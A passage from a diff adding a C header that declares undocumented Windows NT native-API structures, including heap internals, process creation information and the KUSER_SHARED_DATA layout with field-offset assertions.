PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE; +typedef PREFIX_TABLE *PPREFIX_TABLE; + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY { + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY; +typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE { + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE; +typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE; + +#define COMPRESSION_FORMAT_NONE (0x0000) // winnt +#define COMPRESSION_FORMAT_DEFAULT (0x0001) // winnt +#define COMPRESSION_FORMAT_LZNT1 (0x0002) // winnt + +#define COMPRESSION_ENGINE_STANDARD (0x0000) // winnt +#define COMPRESSION_ENGINE_MAXIMUM (0x0100) // winnt +#define COMPRESSION_ENGINE_HIBER (0x0200) // winnt + +typedef struct _COMPRESSED_DATA_INFO { + + USHORT CompressionFormatAndEngine; + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + USHORT NumberOfChunks; + ULONG CompressedChunkSizes[ANYSIZE_ARRAY]; + +} COMPRESSED_DATA_INFO; +typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + UCHAR Alignment[4]; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + union + { + UCHAR ImageFlags; + struct + { + BOOLEAN ComPlusNativeReady : 1; + BOOLEAN ComPlusILOnly : 1; + BOOLEAN ImageDynamicallyRelocated : 1; + BOOLEAN ImageMappedFlat : 1; + BOOLEAN Reserved : 4; + }; + }; + + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG CheckSum; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[ 1 ]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef struct _RTL_BITMAP { + ULONG SizeOfBitMap; + UCHAR Padding[4]; + PULONG Buffer; +} RTL_BITMAP; +typedef RTL_BITMAP *PRTL_BITMAP; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +#define RTL_RANGE_SHARED 0x01 +#define RTL_RANGE_CONFLICT 0x02 + +typedef struct _RTL_RANGE_LIST { + LIST_ENTRY ListHead; + ULONG Flags; // use RANGE_LIST_FLAG_* + ULONG Count; + ULONG Stamp; +} RTL_RANGE_LIST, *PRTL_RANGE_LIST; + +typedef enum { + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +typedef struct _RANGE_LIST_ITERATOR { + PLIST_ENTRY RangeListHead; + PLIST_ENTRY MergedHead; + PVOID Current; + ULONG Stamp; +} RTL_RANGE_LIST_ITERATOR, *PRTL_RANGE_LIST_ITERATOR; + +typedef struct _STARTUP_ARGUMENT +{ + //ULONG Unknown[ 3 ]; + UNICODE_STRING Unknown[ 3 ]; + PRTL_USER_PROCESS_PARAMETERS Environment; +} STARTUP_ARGUMENT, *PSTARTUP_ARGUMENT; + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)( + PVOID ThreadParameter + ); + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Length; + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION64 { + ULONG Length; + LONGLONG Process; + LONGLONG Thread; + CLIENT_ID64 ClientId; + SECTION_IMAGE_INFORMATION64 ImageInformation; +} RTL_USER_PROCESS_INFORMATION64, *PRTL_USER_PROCESS_INFORMATION64; + +#define RTL_TRACE_IN_USER_MODE 0x00000001 +#define RTL_TRACE_IN_KERNEL_MODE 0x00000002 +#define RTL_TRACE_USE_NONPAGED_POOL 0x00000004 +#define RTL_TRACE_USE_PAGED_POOL 0x00000008 + +typedef struct _RTL_RESOURCE { + + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + ULONG NumberOfWaitingExclusive; + + LONG NumberOfActive; + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // See RTL_RESOURCE_FLAG_ equates below. + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, *PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG) 0x00000001) + +typedef struct _RTL_TRACE_BLOCK { + ULONG Magic; + ULONG Count; + ULONG Size; + + SIZE_T UserCount; + SIZE_T UserSize; + PVOID UserContext; + + struct _RTL_TRACE_BLOCK * Next; + PVOID * Trace; +} RTL_TRACE_BLOCK, * PRTL_TRACE_BLOCK; + +typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace); +typedef struct _RTL_TRACE_DATABASE * PRTL_TRACE_DATABASE; + +typedef struct _RTL_TRACE_ENUMERATE { + PRTL_TRACE_DATABASE Database; + ULONG Index; + PRTL_TRACE_BLOCK Block; +} RTL_TRACE_ENUMERATE, * PRTL_TRACE_ENUMERATE; + +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + PVOID ExceptionTable; + ULONG ExceptionTableSize; + PVOID GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT __Unused5; + PVOID SectionPointer; + ULONG CheckSum; + ULONG CoverageSectionSize; + PVOID CoverageSection; + PVOID LoadedImports; + PVOID PatchInformation; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; // + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +#pragma warning(disable: 4273) // nconsistent dll linkage (winnt.h) + +typedef struct _DISPATCHER_HEADER +{ + union + { + struct + { + UCHAR Type; + union + { + UCHAR Absolute; + UCHAR NpxIrql; + }; + + union + { + UCHAR Size; + UCHAR Hand; + }; + + union + { + UCHAR Inserted; + BOOLEAN DebugActive; + }; + + }; // struct .. + volatile LONG Lock; + }; // first union .. + + LONG SignalState; + LIST_ENTRY WaitListHead; +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT +{ + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KGATE +{ + DISPATCHER_HEADER Header; +} KGATE, *PKGATE; + +typedef struct _KSEMAPHORE +{ + DISPATCHER_HEADER Header; + LONG Limit; +} KSEMAPHORE, *PKSEMAPHORE; // + +typedef struct _OWNER_ENTRY +{ + ULONG OwnerThread; + LONG OwnerCount; + ULONG TableSize; +} OWNER_ENTRY, *POWNER_ENTRY; // + +typedef struct _ERESOURCE +{ + LIST_ENTRY SystemResourcesList; + OWNER_ENTRY* OwnerTable; + SHORT ActiveCount; + USHORT Flag; + KSEMAPHORE* SharedWaiters; + KEVENT* ExclusiveWaiters; + OWNER_ENTRY OwnerEntry; + ULONG ActiveEntries; + ULONG ContentionCount; + ULONG NumberOfSharedWaiters; + ULONG NumberOfExclusiveWaiters; + PVOID Address; + ULONG CreatorBackTraceIndex; + ULONG SpinLock; +} ERESOURCE, *PERESOURCE; // + +#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S)) + +#define HEAP_GRANULARITY (sizeof( HEAP_ENTRY )) +#define HEAP_GRANULARITY_SHIFT 3 + +#define HEAP_MAXIMUM_BLOCK_SIZE (USHORT)(((0x10000 << HEAP_GRANULARITY_SHIFT) - PAGE_SIZE) >> HEAP_GRANULARITY_SHIFT) + +#define HEAP_MAXIMUM_FREELISTS 128 +#define HEAP_MAXIMUM_SEGMENTS 16 + +#define HEAP_ENTRY_BUSY 0x01 +#define HEAP_ENTRY_EXTRA_PRESENT 0x02 +#define HEAP_ENTRY_FILL_PATTERN 0x04 +#define HEAP_ENTRY_VIRTUAL_ALLOC 0x08 +#define HEAP_ENTRY_LAST_ENTRY 0x10 +#define HEAP_ENTRY_SETTABLE_FLAG1 0x20 +#define HEAP_ENTRY_SETTABLE_FLAG2 0x40 +#define HEAP_ENTRY_SETTABLE_FLAG3 0x80 +#define HEAP_ENTRY_SETTABLE_FLAGS 0xE0 + +typedef struct _HEAP_LOCK +{ + union + { + RTL_CRITICAL_SECTION CriticalSection; + ERESOURCE Resource; + } Lock; +} HEAP_LOCK, *PHEAP_LOCK; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG CommittThresholdShift; + ULONG MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; // + +typedef struct _HEAP_PSEUDO_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; +} HEAP_PSEUDO_TAG_ENTRY, *PHEAP_PSEUDO_TAG_ENTRY; // + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG Allocs; + ULONG Frees; + ULONG Size; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; // + +typedef struct _HEAP_ENTRY +{ + USHORT Size; + UCHAR Flags; + UCHAR SmallTagIndex; + PVOID SubSegmentCode; + USHORT PreviousSize; + UCHAR SegmentOffset; + UCHAR LFHFlags; + UCHAR UnusedBytes; + USHORT FunctionIndex; + USHORT ContextValue; + ULONG InterceptorValue; + USHORT UnusedBytesLength; + UCHAR EntryOffset; + UCHAR ExtendedBlockSignature; + ULONG Code1; + USHORT Code2; + UCHAR Code3; + UCHAR Code4; + ULONG64 AgregateCode; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG TotalMemoryReserved; + ULONG TotalMemoryCommitted; + ULONG TotalMemoryLargeUCR; + ULONG TotalSizeInVirtualBlocks; + ULONG TotalSegments; + ULONG TotalUCRs; + ULONG CommittOps; + ULONG DeCommitOps; + ULONG LockAcquires; + ULONG LockCollisions; + ULONG CommitRate; + ULONG DecommittRate; + ULONG CommitFailures; + ULONG InBlockCommitFailures; + ULONG CompactHeapCalls; + ULONG CompactedUCRs; + ULONG InBlockDeccommits; + ULONG InBlockDeccomitSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; // + +typedef struct _HEAP +{ + HEAP_ENTRY Entry; + ULONG SegmentSignature; + ULONG SegmentFlags; + LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + PVOID BaseAddress; + ULONG NumberOfPages; + PHEAP_ENTRY FirstEntry; + PHEAP_ENTRY LastValidEntry; + ULONG NumberOfUnCommittedPages; + ULONG NumberOfUnCommittedRanges; + USHORT SegmentAllocatorBackTraceIndex; + USHORT Reserved; + LIST_ENTRY UCRSegmentList; + ULONG Flags; + ULONG ForceFlags; + ULONG CompatibilityFlags; + ULONG EncodeFlagMask; + HEAP_ENTRY Encoding; + ULONG PointerKey; + ULONG Interceptor; + ULONG VirtualMemoryThreshold; + ULONG Signature; + ULONG SegmentReserve; + ULONG SegmentCommit; + ULONG DeCommitFreeBlockThreshold; + ULONG DeCommitTotalFreeThreshold; + ULONG TotalFreeSize; + ULONG MaximumAllocationSize; + USHORT ProcessHeapsListIndex; + USHORT HeaderValidateLength; + PVOID HeaderValidateCopy; + USHORT NextAvailableTagIndex; + USHORT MaximumTagIndex; + PHEAP_TAG_ENTRY TagEntries; + LIST_ENTRY UCRList; + ULONG AlignRound; + ULONG AlignMask; + LIST_ENTRY VirtualAllocdBlocks; + LIST_ENTRY SegmentList; + USHORT AllocatorBackTraceIndex; + ULONG NonDedicatedListLength; + PVOID BlocksIndex; + PVOID UCRIndex; + PHEAP_PSEUDO_TAG_ENTRY PseudoTagEntries; + LIST_ENTRY FreeLists; + PHEAP_LOCK LockVariable; + LONG * CommitRoutine; // <<-- http://www.nirsoft.net/kernel_struct/vista/HEAP.html + PVOID FrontEndHeap; + USHORT FrontHeapLockCount; + UCHAR FrontEndHeapType; + HEAP_COUNTERS Counters; + HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; // + +typedef struct _HEAP_FREE_ENTRY_EXTRA +{ + USHORT TagIndex; + USHORT FreeBackTraceIndex; +} HEAP_FREE_ENTRY_EXTRA, *PHEAP_FREE_ENTRY_EXTRA; // + +typedef struct _HEAP_ENTRY_EXTRA +{ + USHORT AllocatorBackTraceIndex; + USHORT TagIndex; + ULONG Settable; + ULONG64 ZeroInit; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; // + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + LIST_ENTRY Entry; + HEAP_ENTRY_EXTRA ExtraStuff; + ULONG CommitSize; + ULONG ReserveSize; + HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; // + +// +// Known extended CPU state feature IDs +// + +// #define XSTATE_LEGACY_FLOATING_POINT 0 +// #define XSTATE_LEGACY_SSE 1 +// #define XSTATE_GSSE 2 +// +// #define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +// #define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +// #define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +// #define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) +// +// #define MAXIMUM_XSTATE_FEATURES 64 + + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, // None == 0 == standard design + NEC98x86, // NEC PC98xx series on X86 + EndAlternatives // past end of known alternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#define PROCESSOR_FEATURE_MAX 64 +#define MAX_WOW64_SHARED_ENTRIES 16 + +#if defined(_MSC_VER) && (_MSC_VER < 1300) + +#define XSTATE_LEGACY_FLOATING_POINT 0 +#define XSTATE_LEGACY_SSE 1 +#define XSTATE_GSSE 2 + +#define XSTATE_MASK_LEGACY_FLOATING_POINT (1i64 << (XSTATE_LEGACY_FLOATING_POINT)) +#define XSTATE_MASK_LEGACY_SSE (1i64 << (XSTATE_LEGACY_SSE)) +#define XSTATE_MASK_LEGACY (XSTATE_MASK_LEGACY_FLOATING_POINT | XSTATE_MASK_LEGACY_SSE) +#define XSTATE_MASK_GSSE (1i64 << (XSTATE_GSSE)) + +#define MAXIMUM_XSTATE_FEATURES 64 + +// +// Extended processor state configuration +// +#if defined(_WINNT_) && defined(_MSC_VER) && _MSC_VER < 1300 +typedef struct _XSTATE_FEATURE { + DWORD Offset; + DWORD Size; +} XSTATE_FEATURE, *PXSTATE_FEATURE; + +typedef struct _XSTATE_CONFIGURATION { + // Mask of enabled features + DWORD64 EnabledFeatures; + + // Total size of the save area + DWORD Size; + + DWORD OptimizedSave : 1; + + // List of features ( + XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES]; + +} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION; +#endif + +#ifndef _WINDOWS_ +typedef enum _HEAP_INFORMATION_CLASS { + HeapCompatibilityInformation +} HEAP_INFORMATION_CLASS; +#endif //_WINDOWS_ + +#endif + +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG Reserved2[7]; + + ULONG NtProductType; + BOOLEAN ProductTypeIsValid; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + + UCHAR NXSupportPolicy; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + union + { + UCHAR TscQpcData; + struct + { + UCHAR TscQpcEnabled : 1; + UCHAR TscQpcSpareFlag : 1; + UCHAR TscQpcShift : 6; + }; + }; + UCHAR TscQpcPad[2]; + + union + { + ULONG TraceLogging; + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgSystemDllRelocated : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgSEHValidationEnabled : 1; + ULONG SpareBits : 25; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + ULONG SystemCall; + ULONG SystemCallReturn; + ULONGLONG SystemCallPad[3]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + struct + { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + }; + }; + + ULONG Cookie; + + // Entries below all invalid below Windows Vista + + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + + ULONG Wow64SharedInformation[MAX_WOW64_SHARED_ENTRIES]; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + + union + { + ULONGLONG AffinityPad; // only valid on Windows Vista + ULONG_PTR ActiveProcessorAffinity; // only valid on Windows Vista + ULONGLONG Reserved5; + }; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 TscQpcBias; + + volatile ULONG ActiveProcessorCount; + volatile USHORT ActiveGroupCount; + USHORT Reserved4; + + volatile ULONG AitSamplingValue; + volatile ULONG AppCompatFlag; + + ULONGLONG SystemDllNativeRelocation; + ULONG SystemDllWowRelocation; + + ULONG XStatePad[1]; + XSTATE_CONFIGURATION XState; +} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA; + +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneBias) == 0x20); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberLow) == 0x2c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageNumberHigh) == 0x2e); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, MaxStackTraceDepth) == 0x238); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, CryptoExponent) == 0x23c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeZoneId) == 0x240); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved2) == 0x248); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProductTypeIsValid) == 0x268); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved1) == 0x2b4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved3) == 0x2b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TimeSlip) == 0x2bc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AlternativeArchitecture) == 0x2c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemExpirationDate) == 0x2c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SuiteMask) == 0x2d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NXSupportPolicy) == 0x2d5); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, DismountCount) == 0x2dC); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ComPlusPackage) == 0x2e0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LastSystemRITEventTickCount) == 0x2e4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TraceLogging) == 0x2f0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TestRetInstruction) == 0x2f8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCall) == 0x300); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallReturn) == 0x304); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemCallPad) == 0x308); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Cookie) == 0x330); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ConsoleSessionForegroundProcessId) == 0x338); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Wow64SharedInformation) == 0x340); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, UserModeGlobalLogger) == 0x380); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ImageFileExecutionOptions) == 0x3a0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LangGenerationCount) == 0x3a4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved5) == 0x3a8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTimeBias) == 0x3b0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TscQpcBias) == 0x3b8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveProcessorCount) == 0x3c0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveGroupCount) == 0x3c4); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, Reserved4) == 0x3c6); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AitSamplingValue) == 0x3c8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, AppCompatFlag) == 0x3cc); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllNativeRelocation) == 0x3d0); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemDllWowRelocation) == 0x3d8); +C_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3e0); + +#define SHARED_USER_DATA_VA 0x7FFE0000 +#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)SHARED_USER_DATA_VA) + +__inline struct _KUSER_SHARED_DATA * GetKUserSharedData() { return (USER_SHARED_DATA); } + +__forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24); } + +//added 20/03/2011 +#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001 +#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002 +#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 + +//added 20/03/2011 +typedef struct _RTL_PROCESS_REFLECTION_INFORMATION +{ + HANDLE Process; + HANDLE Thread; + CLIENT_ID ClientId; +} RTL_PROCESS_REFLECTION_INFORMATION, *PRTL_PROCESS_REFLECTION_INFORMATION; + +//FIXED 21.02.2011 size for x64 +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + 